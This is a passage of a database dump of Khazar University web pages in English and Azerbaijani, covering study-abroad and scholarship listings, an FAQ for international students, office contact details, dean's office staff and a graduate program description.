href=\"http://www.khazar.org/files/essa2013_cfp.pdf\">essa2013_cfp.pdf</a>)<br></td></tr><tr><td><strong><a href=\"http://www.wti.org/courses/mile/\">The Master of International Law and Economics</a>&nbsp;(<a href=\"http://www.khazar.org/files/Application%20Form%20Financial%20Aid%20MILE%20Programme.doc\">Application Form Financial Aid MILE Programme.doc</a>)</strong><strong>Deadline: March 15, 2013</strong><div><strong><br></strong></div></td></tr><tr><td><strong><a href=\"http://www.praguesummerschools.org/\">Prague Summer Schools 2013</a>&nbsp;&nbsp;</strong><strong>Download information:&nbsp;<a href=\"http://www.khazar.org/files/PRAGUE%20SUMMER%20SCHOOLS%202013.pdf\">PRAGUE SUMMER SCHOOLS 2013.pdf</a></strong><strong><br></strong></td></tr><tr><td><strong>Youth Camp in Bulgaria (April, May and June)&nbsp;<a href=\"http://www.khazar.org/files/ATYA%20Youth%20Camp.pdf\">ATYA Youth Camp.pdf</a>&nbsp;<a href=\"http://www.khazar.org/files/Program%202013.pdf\">Program 2013.pdf</a></strong><strong><br></strong></td></tr><tr><td><strong>IPAG Summer Courses&nbsp;<a href=\"http://www.khazar.org/files/IPAQ%20Summer%20Courses.pdf\">IPAQ Summer Courses.pdf</a>&nbsp;<a href=\"http://www.khazar.org/files/Application%20form.pdf\">Application form.pdf</a></strong><strong><br></strong></td></tr><tr><td><strong>2013 Korean Government Scholarship for Graduate and post-graduate studeis</strong><strong>Guidelines:&nbsp;<a href=\"http://www.khazar.org/files/2013%20KGSP%20Graduate%20Program%20Guideline.pdf\">2013 KGSP Graduate Program Guideline.pdf</a>;&nbsp;</strong><strong>Information about Universities:&nbsp;<a href=\"http://www.khazar.org/files/2013%20KGSP%20University%20Information-English(0206).pdf\">2013 KGSP University Information-English(0206).pdf</a>;&nbsp;</strong><strong>Information about courses and University:&nbsp;<a href=\"http://www.khazar.org/files/Soongsil%20University%20Information%20(Korean.English).pdf\">Soongsil University Information (Korean.English).pdf</a></strong><strong><br></strong></td></tr><tr><td><strong><a href=\"http://www.conted.ox.ac.uk/courses/summerschools/index.php\">International Summer Schools in UK</a></strong><strong><br></strong></td></tr><tr><td><strong>TASET presents&nbsp;<a href=\"http://www.iste-c.net/\">ISTEC 2013</a>&nbsp;and&nbsp;<a href=\"http://www.id-ec.net/\">IDEC 2013</a>&nbsp;Conferences</strong><strong>The call is open now</strong><strong><br></strong></td></tr><tr><td><strong>ISWI 2013 Moving YOUth from 23 May to 9 June, Germany</strong><strong><a href=\"http://www.iswi2013.org/\">Apply now!</a></strong><strong><br></strong></td></tr><tr><td><strong><a href=\"http://www.nispa.org/page.php?sid=898\">Mzia Mikeladze PhD Thesis Award</a>&nbsp;</strong><strong>Nominations have to be submitted by&nbsp;31 January of any given year<br></strong><strong><br></strong></td></tr></tbody></table><p></p><div><br></div><p><strong>Previously</strong>  <br></p><div><br></div><div><br></div><p><strong>EAIR 35TH ANNUAL FORUM ROTTERDAM 2013&nbsp;</strong><strong><a href=\"http://www.eair.nl/forum/rotterdam/callforproposals.asp\">“THE IMPACT OF HIGHER EDUCATION”</a>&nbsp;(28-31 August 2013)</strong>  <br></p><p></p><table><tbody><tr><td><strong>Youth for Peace via Culture, Baku Azerbaijan (23-29 August, 2012)</strong></td></tr><tr><td><strong><strong>2nd Call on 2nd International Summer School on Sustainable Development, Hungary (4-8 August, 2012)</strong></strong></td></tr><tr><td><strong>The 4th AASRC 2012 International COnference – Istanbul,&nbsp;Turkey (5-6 September, 2012)</strong></td></tr></tbody></table>  <br><p></p><div><br></div><div><br></div><div><br><br></div><div><br></div><div><br></div>'),(768,537,'en','FAQs','FAQs','<div><p><strong><br></strong></p><p><strong>How much is the tuition fee for international students?</strong></p><p>The tuition fee is&nbsp;5000 USD&nbsp; per year.</p><p>&nbsp;</p><p><strong>As an international student, how do I apply for a student visa?</strong></p><p>You must apply for a student visa at Azerbaijan Embassy or Consulate in your home country. If you do not have an embassy in your home country you may ask the&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">International Affairs Office</a></strong>&nbsp;to help you to find the right embassy to apply.</p><p>As applying for a visa can take time (often a month or more), depending on the country, you should apply for the visa at least a month before your planned arrival.</p><p>&nbsp;</p><p><strong>What is the medium of instruction at the university?</strong></p><p>The medium of instruction at Khazar University is English.</p><p>&nbsp;</p><p><strong>How can I submit documents for admission?</strong></p><p>You may send documents by postal service or send scanned copies by email. However, electronic submissions are highly encouraged.</p><p>&nbsp;</p><p><strong>How can I get information regarding academic programs?</strong></p><p>You can find the information through the Khazar University website under the&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/2/academics\">Academics</a></strong>&nbsp;tab&nbsp;</p><p>&nbsp;</p><p><strong>When should I arrive at Khazar University?</strong></p><p>The last date to arrive is September 7.</p><p>&nbsp;</p><p><strong>How do I find accommodation?</strong></p><p>Please be aware that the university does not cover rental fees for housing. The International Affairs Office will help you find suitable housing on an individual basis.</p><p>&nbsp;</p><p><strong>Can I work while studying?</strong></p><p>The student visa allows you to study in a full time program. This means that you cannot work.</p><p>&nbsp;</p><p><strong>How can I extend my visa during my study at the university?</strong></p><p>You should obtain a student visa valid for 1-3 months before your arrival. A month before the expiration of your visa you will apply for a residence permit which will enable you to live in the country for six months or a year. The International Affairs Office will assist you in receiving the residence permit (“migration card”).</p></div>'),(769,537,'az',' Ən çox soruşulan suallar',' Ən çox soruşulan suallar','<div><p><strong><br></strong></p><p><strong>Beynəlxalq tələbə üçün təhsil haqqı nə gədərdi?</strong></p><p>Təhsil haqqı ildə 5000 USD&nbsp; təşkil edir.</p><p>&nbsp;</p><p><strong>Beynəlxalq tələbə olaraq tələbə vizası üçün necə müraciət etməliyəm?</strong></p><p>Tələbə vizası əldə etmək üçün, öz ölkənizdə yerləşən Azərbaycan Səfirliyinə və ya Konsulluğuna müraciət etməlisiniz. Əgər ölkənizdə Azərbaycan Səfirliyi yoxdursa <a href=\"http://www.khazar.org/az/menus/159/beynelxalq_elaqeler_ofisi\"><strong>Beynəlxalq Əlaqələr Ofisi</strong></a>ndən uyğun Səfirliyə yönəltmələrini xahiş edin.</p><p>Vizanın alınması kifayət qədər uzun müddətli (adətən bir aydan çox) proses olduğu üçün viza sənədlərini gəlməmişdən bir ay əvvəl verməyiniz məsləhətdir.</p><p>&nbsp;</p><p><strong>Universitetin t</strong><strong>ədris dili</strong><strong>&nbsp;nədir?</strong></p><p>Xəzər Universitetin tədris dili İngilis dilidir.</p><p>&nbsp;</p><p><strong>Sənədləri necə təqdim edə bilərəm?</strong></p><p>Siz sənədləri poçt vasitəsilə və ya skan olunmuş nüsxələrini electron şəkildə göndərə bilərsiniz. Buna baxmayaraq, elektron müraciətlər daha çox arzuolunandır.</p><p>&nbsp;</p><p><strong>Akademik proqramlar haqqında məlumatı necə əldə edə bilərəm?</strong></p><p>Siz bir fakültə haqqında məlumatı Xəzər Universitetin vebsayti vasitəsi ilə əldə edə bilərsiz<strong>.</strong></p><p><strong><br></strong></p><p><strong>Xəzər Universitetinə nə zaman gəlməliyəm?</strong></p><p>&nbsp;Ölkəyə daxil olmaq üçün son tarix 7 sentyabrdır.</p><p>&nbsp;</p><p><strong>Yaşayış yeri ilə təmin olunmaq üçün nə etməliyəm?</strong></p><p>Beynəlxalq Əlaqələr Ofisi istəyiniz əsasında sizə yaşayış yeri tapmaqda kömək edə bilər. Nəzərinizə çatdırırıq ki, kirayə haqqını Universitet ödəmir.</p><p>&nbsp;</p><p><strong>Təhsil aldığım müddətdə işləyə bilərəm?</strong></p><p>Tələbə vizası əyani təhsil almağınız üçün verilir və bu səbəbdən siz heç bir iş yerdə çalışa bilməzsiniz.</p><p>&nbsp;</p><p><strong>Universitetdə təhsil aldığım müddətdə vizanın müddətini necə artıra bilərəm?</strong></p><p>Sizin gəlişinizdən əvvəl tələbə vizanız 1-3 ay müddətində yararlı hesab olunur. Viza müdətinin bitməsindən bir ay əvvəl siz vizanı 6 ay və ya&nbsp; 1 il müddətinə artırılması üçün sənəd təqdim etməlisiniz.&nbsp;</p></div>'),(770,538,'az','Beynəlxalq Əlaqələr Ofisi şəkillərdə','Beynəlxalq Əlaqələr Ofisi şəkillərdə',''),(767,535,'az','Təhsil və Elmi Tədqiqat İmkanları','Təhsil və Elmi Tədqiqat İmkanları','<p><br></p><p><strong>YENI</strong></p><p><br></p><p><strong>ABŞ-da təhsil haqqında silsilə təqdimatlar</strong>  <br></p><div><br></div><p>ABŞ-da təhsil almaq istəyirsən, lakin tələb olunan sənədlər, ərizə proseduru və təqaüd haqqında məlumatın yoxdur? ABŞ-da təhsil haqqında detallı məlumat Amerikada təhsil üzrə məsləhətçi tərəfindən silsilə təqdimatlarda veriləcək.  <br></p><div><br></div><p>Amerika Təhsil&nbsp;Məsləhət Mərkəzi Amerika Dövlət Departamenti nəzdində fəaliyyət göstərən Təhsil və Mədəniyyət İşləri üzrə İdarəsi tərəfindən dəstəklənir.</p>  <p><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong>1-ci sessiya: ABŞ-da təhsil almaq üçün 5 addım</strong></p><p style=\"font-size:medium\"><strong>Tarix və vaxt:&nbsp; 10 aprel, 15:00</strong></p><p style=\"font-size:medium\"><strong>Otaq: 206 köhnə bina</strong></p>  <br><div><br></div><div><br></div><p><strong>İngiltərədə</strong><strong>&nbsp;təhsil haqqında təqdimat</strong>&nbsp;</p><p>2015-ci il aprelin&nbsp;9-da saat 18:00-da Xəzər Universitetinin Mərkəz kampusunda (Bəşir Səfəroğlu küçəsi, 122)&nbsp; “İngiltərədə Təhsil” mövzusunda təqdimat keçiriləcək. Təqdimat East Anglia Universitetinin Beynəlxalq Ofisinin Direktoru tərəfindən aparılacaq. Təqdimatda aşağıdakı mövzülar haqqında ətraflı məlumat veriləcək:  <br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\">&nbsp; İngiltərədə təhsil sistemi</p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; East Anglia Universiteti haqqında ətraflı məlumat</p><p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style=\"font-size:medium\"> Qəbul şərtləri</span></p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İxtisaslar və təhsil dərəcələri (bakalavr, magistr, PhD və s.)</p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Təqaüd imkanları</p><p style=\"font-size:medium\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İngiltərədə yaşayış xərcləri</p>  <p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p>Bu təqdimat bütün maraqlananlar üçün açıqdır.  <br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p><strong style=\"font-size:medium\">Global UGRAD: ABŞ-da bir semestrlik mübadilə proqramına qəbul</strong>  <br></p><p><br></p><p>ABŞ Dövlət Departamenti və World Learning 2015-2016-cı il üçün Global UGRAD proqramını açıq elan edirlər. İştirakçılar akademik göstəricilər, liderlik potensialı, yazılı və danışıq ingilis dilinin yüksək səviyyəsi və mübadilə tələbəsi olmaq üçün tələb olunan çeviklik meyarlarına əsasən seçiləcəklər. Müraciət üçün son tarix 27 fevral 2015-ci il, saat 17:00-dır.</p><p>Global UGRAD proqramı ABŞ-da hüquq, tibb və yalnız maqistr səviyyəsində təklif olunan ixtisasları çıxmaq şərti ilə bütün ixtisaslar üzrə bir semestrlik dərəcəsiz təhsili əhatə edir. Proqram bakalavr pilləsində təhsil alan tələbələr üçün açıqdır.</p><p>Proqram haqqında ətraflı məlumat, ərizə forması və digər detallar üçün bu linkə müraciət edin:&nbsp;<a href=\"http://azerbaijan.usembassy.gov/edu2/ugrad.html\"><strong>http://azerbaijan.usembassy.gov/edu2/ugrad.html</strong></a></p><p>Suallarınızı, həmçinin, Beynəlxalq Əlaqələr Ofisinin əməkdaşlarına ünvanlaya bilərsiniz (Neftçilər kampusu, 5-ci mərtəbə, otaq 511)</p>  <p><br></p><p><br></p><p><strong>Opportunities in Austria: DIPLOMATIC ACADEMY OF VIENNA</strong>  <br></p><p><br></p><p>The Diplomatic Academy is a postgraduate professional school, dedicated to preparing talented university and college graduates for international careers and positions of leadership in international organizations, the EU, in public service and in international business.&nbsp;</p><p><strong>1.&nbsp;MASTER OF ADVANCED INTERNATIONAL STUDIES (MAIS):&nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/mais_programme\">https://www.da-vienna.ac.at/programmes/mais_programme</a>&nbsp;  &nbsp; &nbsp;</p><p>2.<strong>MASTER OF SCIENCE IN ENVIRONMENTAL TECHNOLOGY AND INTERNATIONAL AFFAIRS (ETIA):&nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/etia_programme\">https://www.da-vienna.ac.at/programmes/etia_programme</a>&nbsp;  </p><p>3.<strong style=\"color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">SUMMER COURSE: For German Language and Austrian Studies &nbsp;</strong><a href=\"https://www.da-vienna.ac.at/programmes/summer_course\" style=\"line-height:15px;text-align:justify;outline:none;font-weight:bold;color:#3a3b3b;background-color:#ffffff\">https://www.da-vienna.ac.at/programmes/summer_course</a></p><p><br></p><p><strong>U.S. Institute for Student Leaders on Local, State, and Federal Public Policymaking: 5-week summer program in the States (June-July, 2015)</strong>  <br></p><p><br></p><p><a href=\"http://azerbaijan.usembassy.gov/edu2/susi2.html\">http://azerbaijan.usembassy.gov/edu2/susi2.html</a>&nbsp;<strong>&nbsp;</strong>  <br></p><p><strong>Deadline: January 5, 2015</strong><strong>&nbsp;</strong></p><p><strong><strong>The Institute will bring together students from Azerbaijan, Armenia, Georgia, and Turkey for a 5-week summer program in the States.&nbsp; The Institute will be hosted at Southern Illinois University in Carbondale, Illinois.&nbsp;</strong><strong>&nbsp;</strong>  <br></strong></p><div><strong><br></strong></div><p><strong>For additional information: Sadagat Davudova, Education Specialist: +994 12 4883300 (ext 3636)  <br></strong></p><div><strong><br></strong></div><div><strong><br></strong></div><p><strong><strong>GOVERNMENT OF AZERBAIJAN - Scholarship opportunities for Azerbaijani students willing to study abroad</strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/\">To find more information please click HERE</a></strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/c-universitetler\">List of Universities</a></strong><strong><a href=\"http://xaricdetehsil.edu.gov.az/c-proqram-haqqinda/prioritet-istiqametler/\">List of priority majors</a></strong>  <br></strong></p><div><strong><br></strong></div><div><strong><br></strong></div><p><strong><strong><a href=\"http://www.icndbm.com/\">1st International Conference on New Directions in Business, Management, Finance and Economics</a></strong><strong>Eastern Mediterranean University, Famagusta, North Cyprus, September 12-14, 2013</strong>  <br></strong></p><div><strong><br></strong></div><p><strong><strong><a href=\"http://www.aydin.edu.tr/files/summerschool.pdf\">Istanbul Aydin University Summer Schools &nbsp;in Summer 2013 between 1<sup>st</sup>&nbsp;-14<sup>th</sup>&nbsp;July 2013.</a></strong><strong>Deadline:&nbsp;May 15, 2013</strong><strong>Contact:</strong><strong>&nbsp;</strong><strong><a href=\"https://mail.aydin.edu.tr/owa/redir.aspx?C=sFYINjEmEUaFrCbYImEXwi7qiBiz-84IfQPIQ_pX_vPgrBSoRMHdRSl17D6TLO8l2r_QC6Dzw7s.&amp;URL=mailto%3ahandantezkanli%40aydin.edu.tr\" target=\"_blank\">handantezkanli@aydin.edu.tr</a></strong>  <br></strong></p><div><strong><br></strong></div><p><strong><strong><a href=\"http://www.ipag.fr/en/home.html\">Summer School in Nice, France, June-July 2013</a>&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/Business%20Strategy.pdf\">Business Strategy.pdf</a></strong><strong><a href=\"http://www.khazar.org/files/French%20Culture%20and%20Civilization.pdf\">French Culture and Civilization.pdf</a></strong>  <br></strong></p><div><strong><br></strong></div><p><strong><strong><a href=\"http://www.icwip.hu/\">ICWiP Debate Summer Academy 2013 &nbsp;-&nbsp;June28 - July7, 2013 -&nbsp;Pécs, Hungary</a></strong><strong><strong>Early bird deadline: May 1, 2013</strong></strong><strong><strong><strong>Normal application deadline: June 17, 2013</strong></strong></strong>  <br></strong></p><div><strong><strong><table><tbody><tr><td><p><strong>2nd International Conference on Microbial Diversity: Microbial Interactions in Complex Ecosystems</strong><strong>NOW OPEN</strong><a href=\"http://www.khazar.org/files/ConferenceOnMicrobialDiversity.pdf\">ConferenceOnMicrobialDiversity.pdf</a></p></td></tr></tbody></table></strong></strong>  <br></div><div><strong><strong><table><tbody><tr><td>&nbsp;<br><strong><strong><table><tbody><tr><td><strong><strong><table style=\"display:inline !important\"><tbody style=\"display:inline !important\"><tr style=\"display:inline !important\"><td style=\"display:inline !important\"><strong><strong><table style=\"display:inline !important\"><tbody style=\"display:inline !important\"><tr style=\"display:inline !important\"><td style=\"display:inline !important\"><p style=\"display:inline !important\"><a href=\"http://essa2013.org/\">European Social Simulation Association Conference</a><a href=\"http://www.khazar.org/files/essa2013_cfp.pdf\">essa2013_cfp.pdf</a></p></td></tr></tbody></table></strong></strong></td></tr></tbody></table></strong></strong></td></tr></tbody></table></strong></strong><p><strong>KDI School of Public Policy and management offers Master and PhD programs. For more information please download theguideline:</strong><a href=\"http://www.khazar.org/files/ApplicationGuideline2013Intl.pdf\">ApplicationGuideline2013Intl.pdf</a><br>  <a href=\"http://www.wti.org/courses/mile/\">The Master of International Law and Economics</a><a href=\"http://www.khazar.org/files/Application%20Form%20Financial%20Aid%20MILE%20Programme.doc\">Application Form Financial Aid MILE Programme.doc</a><strong>Deadline: March 15, 2013</strong><br></p></td></tr></tbody></table></strong></strong></div><p><strong></strong></p><table><tbody><tr><td><strong><a href=\"http://www.praguesummerschools.org/\">Prague Summer Schools 2013</a>&nbsp;&nbsp;</strong><strong>Download information:&nbsp;<a href=\"http://www.khazar.org/files/PRAGUE%20SUMMER%20SCHOOLS%202013.pdf\">PRAGUE SUMMER SCHOOLS 2013.pdf</a></strong><strong><br></strong></td></tr><tr><td><p><strong>Youth Camp in Bulgaria (April, May and June)&nbsp;<a href=\"http://www.khazar.org/files/ATYA%20Youth%20Camp.pdf\">ATYA Youth Camp.pdf</a>&nbsp;<a href=\"http://www.khazar.org/files/Program%202013.pdf\">Program 2013.pdf</a></strong></p></td></tr><tr><td><p><strong>IPAG Summer Courses&nbsp;<a href=\"http://www.khazar.org/files/IPAQ%20Summer%20Courses.pdf\">IPAQ Summer Courses.pdf</a>&nbsp;<a href=\"http://www.khazar.org/files/Application%20form.pdf\">Application form.pdf</a></strong></p></td></tr><tr><td><strong>2013 Korean Government Scholarship for Graduate and post-graduate studeis</strong><strong>Guidelines:&nbsp;<a href=\"http://www.khazar.org/files/2013%20KGSP%20Graduate%20Program%20Guideline.pdf\">2013 KGSP Graduate Program Guideline.pdf</a>;&nbsp;</strong><strong>Information about Universities:&nbsp;<a href=\"http://www.khazar.org/files/2013%20KGSP%20University%20Information-English(0206).pdf\">2013 KGSP University Information-English(0206).pdf</a>;&nbsp;</strong><strong>Information about courses and University:&nbsp;<a href=\"http://www.khazar.org/files/Soongsil%20University%20Information%20(Korean.English).pdf\">Soongsil University Information (Korean.English).pdf</a></strong><strong><br></strong></td></tr><tr><td><strong><a href=\"http://www.conted.ox.ac.uk/courses/summerschools/index.php\">International Summer Schools in UK</a></strong><strong><br></strong></td></tr><tr><td><strong>TASET presents&nbsp;<a href=\"http://www.iste-c.net/\">ISTEC 2013</a>&nbsp;and&nbsp;<a href=\"http://www.id-ec.net/\">IDEC 2013</a>&nbsp;Conferences</strong><strong>The call is open now</strong><strong><br></strong></td></tr><tr><td><strong>ISWI 2013 Moving YOUth from 23 May to 9 June, Germany</strong><strong><a href=\"http://www.iswi2013.org/\">Apply now!</a></strong><strong><br></strong></td></tr><tr><td><strong><a href=\"http://www.nispa.org/page.php?sid=898\">Mzia Mikeladze PhD Thesis Award</a>&nbsp;</strong><strong>Nominations have to be submitted by&nbsp;31 January of any given year!</strong></td></tr></tbody></table><strong>  <br></strong><p></p><div><strong><br></strong></div><div><strong><br></strong></div><p><strong><strong>Previously</strong>&nbsp;</strong></p><p><strong><strong><strong>EAIR 35TH ANNUAL FORUM ROTTERDAM 2013&nbsp;</strong><strong><a href=\"http://www.eair.nl/forum/rotterdam/callforproposals.asp\">“THE IMPACT OF HIGHER EDUCATION”</a>&nbsp;(28-31 August 2013)</strong></strong>  <br></strong></p><p><strong><strong>Youth for Peace via Culture, Baku Azerbaijan (23-29 August, 2012)</strong>&nbsp;</strong></p><p><strong><strong>2nd Call on 2nd International Summer School on Sustainable Development, Hungary (4-8 August, 2012)</strong>&nbsp;</strong></p><p><strong><strong>The 4th AASRC 2012 International COnference – Istanbul,&nbsp;Turkey (5-6 September, 2012)</strong>  <br></strong></p><p><strong><br></strong></p><p><br></p> <p><br></p><p><br></p>'),(2007,1221,'en','Khazar Faculty Member`s Article Published in Germany','On June 20, 2016,  Azertac Azerbaijan State Information Agency published an article about  Khazar University faculty member...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On June 20, 2016, &nbsp;Azertac\r\nAzerbaijan State Information Agency published an article about &nbsp;Khazar University faculty member Elsavar\r\nMammadov`s paper published in\r\nthe book entitled “Caucasus, the EU and Russia – Triangular Cooperation?”&nbsp; by Nomos Publishing house in&nbsp; Germany.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The full text of the article is\r\navailable at the following link:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Xezer_Universitetinin_emekdasinin_meqalesi_Almaniyada_chap_olunub-963214\">http://azertag.az/xeber/Xezer_Universitetinin_emekdasinin_meqalesi_Almaniyada_chap_olunub-963214</a></p>'),(771,538,'en','International Affairs Office in Pictures','International Affairs Office in Pictures',''),(772,539,'az',' Bizimlə əlaqə',' Bizimlə əlaqə','<div><p><strong><br></strong></p><p><strong>Beynəlxalq Əlaqələr Şöbəsi</strong></p><p>&nbsp;</p><p><strong>Direktor</strong><strong>&nbsp;</strong></p><p><strong>Turan Cəfərova</strong></p><p><a href=\"mailto:tjafarova@khazar.org\">tjafarova@khazar.org</a></p><p>&nbsp;</p><p><strong>Koordinator</strong></p><p><strong>Günay Fərzəliyeva</strong></p><p><a href=\"mailto:gfarzaliyeva@khazar.org\">gfarzaliyeva@khazar.org</a></p><p>&nbsp;</p><p><strong>Ofis Assistenti</strong></p><p><strong>Elxan Kasimov</strong></p><p><a href=\"mailto:msamadov@khazar.org\">elkhan.kasimov@khazar.org  </a></p><p>&nbsp;</p><p><strong>Ümumi məlumat üçün:</strong></p><p><a href=\"mailto:%20international@khazar.org\">international@khazar.org</a></p><p>&nbsp;</p><p><strong>Ünvan:</strong></p><p><strong>Xəzər Universitəsi</strong></p><p>Beynəlxalq Əlaqələr Şöbəsi</p><p>Neftçilər kampusu</p><p>41 Məhsəti küç. Bakı, AZ1096, Azərbaycan</p><p>Tel:&nbsp; (+994 12) 421 79 16 (daxili nömrə 240)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+994 12) 421 17 08 (birbaşa)</p><p>Faks: (+994 12) 498 93 79</p><p><br></p><p><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" style=\"width:30px;height:30px;margin-right:7px;float:left\">Follow us on Facebook:&nbsp;<a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">Khazar University International Office</a></p></div><div>   <div><br></div><br></div><div><br></div>'),(773,539,'en','Contact us','Contact us','<div><h3><strong><br></strong></h3><p><strong>International Affairs Office </strong> <br></p><p><br></p><p><strong>Director of International&nbsp;Affairs Office</strong></p><p><strong>Turan Jafarova</strong></p><p><a href=\"mailto:tjafarova@khazar.org\">tjafarova@khazar.org</a></p><p>&nbsp;</p><p><strong>Coordinator</strong></p><p><strong>Gunay Farzaliyeva</strong></p><p><a href=\"mailto:gfarzaliyeva@khazar.org\">gfarzaliyeva@khazar.org</a></p><p>&nbsp;</p><p><strong>Office Assistant</strong></p><p><strong>Elkhan Kasimov</strong></p><p><a href=\"mailto:msamadov@khazar.org\">elkhan.kasimov@khazar.org  </a></p><p>&nbsp;</p><p><strong>For general inquiries:&nbsp;</strong></p><p><a href=\"mailto:%20international@khazar.org\">international@khazar.org</a></p><p>&nbsp;</p><p><strong>Address:</strong></p><p><strong>Khazar University</strong></p><p>International Affairs Office</p><p>41 Mehseti Street Baku, AZ1096, Azerbaijan</p><p>Tel.: (+994 12) 421 79 16 (extension 240)</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (+994 12) 421 17 08 (direct)</p><p>Fax: (+994 12) 498 93 79</p><p>&nbsp;</p><p><img src=\"/files/image/thumbnail_14_12_10_new_facebook.jpg\" style=\"border:0px  #000000;width:30px;height:30px;margin-right:7px;float:left\">Follow us on Facebook:&nbsp;<a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\">Khazar University International Office</a></p><div><a href=\"https://www.facebook.com/KhazarInternationalOffice\" target=\"_blank\" style=\"outline:none;font-weight:bold;color:#3a3b3b\"></a></div></div>'),(774,185,'az','Dekanlıq','Dekanlıq','<p><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\"><img src=\"/files/engineering/images/HN_Univ.jpg\" style=\"float:left;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Dr. Hassan Niknafs</a></strong><strong> - Mühəndislik və Təbiqi Elmlər fakültəsinin dekan əvəzi</strong></p><p><strong></strong>Mexanika Mühəndisliyi üzrə elmlər namizədi (Akron Universiteti, Ohayo, ABŞ)<br></p><p><strong>E-mail: </strong><a href=\"http://mailto:Hniknafs@khazar.org/\">Hniknafs[at]khazar.org</a>  </p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/Vafa_Aslanova.pdf\"><img src=\"/files/letters/vafa.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><a href=\"http://www.khazar.org/files/engineering/syllabi/Vafa_Aslanova.pdf\"><strong>Vəfa Aslanova</strong></a></p><p>Tələbə İşləri üzrə dekan müavini  </p><p><strong>E-mail: </strong><a href=\"http://mailto:vaslanova@khazar.org/\">vaslanova[at]khazar.org</a>  </p><p><strong> <br></strong></p><p><strong><br></strong></p><p><br><strong><br></strong></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"http://www.khazar.org/files/engineering/images/fakhranda_a.jpg\" style=\"float:left;width:150px;height:142px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Fakhranda%20A.N_CV%20.doc\">Fəxrəndə Əlimərdanova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/Fakhranda%20A.N_CV%20.doc\"></a></strong>Ph.D. Tədris İşləri üzrə dekan müavini&nbsp;</p><p><strong>E-mail: </strong><a href=\"http://mailto:falimardanova@khazar.org/\">falimardanova[at]khazar.org</a>  </p>  <p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/engineering/syllabi/syllabus_2017_fall/Time_table/parvana.jpg\" style=\"width:150px;height:267px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\">Pərvanə Əbdürəhimli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Time_table/CV-Europass-20170922-Abdurahimli-CV.pdf\"></a></strong>Dekan assistenti</p> <p><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:pabdurahimli@khazar.org/\">pabdurahimli[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><h4></h4>'),(775,191,'az','Magistr və Fəlsəfə doktoru proqramları','Magistr və Fəlsəfə doktoru proqramları','<p style=\"text-align:justify\">Magistr təhsili intellektual maraq və biliyin artırılması istəyi ilə xarakterizə olunur.</p><p style=\"text-align:justify\">Magistr təhsili&nbsp;bakalavr təhsilinin davamıdır. Bu proqram daha çox öz əvvəlki işlərində müstəsna bilik qabiliyyətini nümayiş etdirən&nbsp;və müstəqil fikri və tədqiqetmə&nbsp;bacarığı olan tələbələr üçün&nbsp;nəzərdə tutulur.</p><p style=\"text-align:justify\">Mühəndislik və Tətbiqi Elmlər fakültəsi magistr dərəcəsi və fəlsəfə doktoru dərəcəsi əldə etmək istəyənlər üçün fənlərin tədrisini həyata keçirir.&nbsp;Magistr dərəcəsi əldə etmək istəyən tələbələr bu proqramı&nbsp;il&nbsp; yarım və ya iki ilə, fəlsəfə doktoru dərəcəsi əldə etmək istəyənlər isə üç və ya dörd ilə başa çatdıra bilər.</p><p style=\"text-align:justify\">Fakültə Kompüter Elmləri, Kompüter Mühəndisliyi və Neft Mühəndisliyi ixtisasları üzrə magistr elmi dərəcəsi əldə etməyə imkan 